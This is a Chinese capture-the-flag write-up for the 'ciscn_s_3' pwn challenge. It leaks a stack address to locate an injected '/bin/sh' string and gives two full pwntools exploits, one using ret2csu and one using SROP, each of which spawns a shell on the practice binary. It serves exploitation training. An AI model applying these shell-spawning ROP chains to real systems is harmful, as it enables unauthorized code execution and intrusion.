1.下载文件 checksec 拖入exeinfo
用patchelf切换libc和ld:
64位 拖入IDA64 查看main函数:
发现函数里有个gadgets函数,查看汇编:
将rax设为15 和 59 这两个分别是signreturn 和 execve的系统调用
所以有两种做法:ret2csu 和 SROP
但是程序本身没有binsh字符串 所以两种方法都需要自己输入binsh并得到其地址:
需要先用调试查看偏移:
打印出来的栈地址
binsh的地址
相减可以得到偏移是0x138
payload = b'/bin/sh\x00' + b'a' * 8 + p64(main_addr)
p.send(payload)
p.recv(0x20)
stack_addr = u64(p.recv(8))
print(hex(stack_addr))
offset = 0x138
binsh_addr = stack_addr - offset
print(hex(binsh_addr))
gdb.attach(p)
pause()
1.ret2csu
找到csu_init的地址:
要利用的就是这一块:
构造exp:
from pwn import *
p = process('./ciscn_s_3')
#p = remote("node5.buuoj.cn", 25414)
#elf = ELF('./ciscn_s_3')
p6r_addr = 0x40059A
movcall_addr = 0x400580
execv_addr = 0x4004e2
syscall_addr = 0x400517
rdi_addr = 0x4005a3
main_addr = 0x40051D
payload = b'/bin/sh\x00' + b'a' * 8 + p64(main_addr)
p.send(payload)
p.recv(0x20)
stack_addr = u64(p.recv(8))
print(hex(stack_addr))
offset = 0x138
binsh_addr = stack_addr - offset
print(hex(binsh_addr))
gdb.attach(p)
pause()
payload2 = b'/bin/sh\x00' + b'a' * 8 + p64(p6r_addr)
payload2 += p64(0) * 2 + p64(binsh_addr + 0x50) + p64(0) * 3
payload2 += p64(movcall_addr) + p64(execv_addr)
payload2 += p64(rdi_addr) + p64(binsh_addr) + p64(syscall_addr)
p.send(payload2)
p.interactive()
解释一下:
先传入binsh字符串及堆字符到rbp 然后调用csu里的pop一堆寄存器的gadgets
接着进行传参,rbx rbp设置为0 然后将r12设置为execv的地址(binsh地址+0x08 * 0x0A) ,再将后面几个寄存器设为0
然后调用第二个gadgets 赋值给rdx和rsi
第二个gadgets有个call 第一次执行会跳转到r12 且前面已经将rbx设置为0,所以
第二个gadgets会再循环一次 此时rbx 等于 1 然后call指令就会跳转到r12 + 8的地址,也就是payload2中的pop rdi地址
然后传参binsh 以ret到系统调用结束
运行,得到flag:
2.SROP
学会了SigreturnFrame() 用法就能直接写出来 比用ret2csu方法方便
exp:
from pwn import *
#p = process('./ciscn_s_3')
context(arch='amd64', os='linux')
#一定要加上这句 否则会报错
p = remote("node5.buuoj.cn", 26367)
#elf = ELF('./ciscn_s_3')
sigreturn_addr = 0x4004DA
syscall_addr = 0x400517
main_addr = 0x40051D
payload = b'/bin/sh\x00' + b'a' * 8 + p64(main_addr)
p.send(payload)
p.recv(0x20)
stack_addr = u64(p.recv(8))
print(hex(stack_addr))
offset = 0x138
binsh_addr = stack_addr - offset
print(hex(binsh_addr))
#gdb.attach(p)
#pause()
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr
payload2 = b'/bin/sh\x00' + b'a' * 8 + p64(sigreturn_addr) + p64(syscall_addr) + bytes(frame)
p.send(payload2)
p.interactive()
运行 得到flag: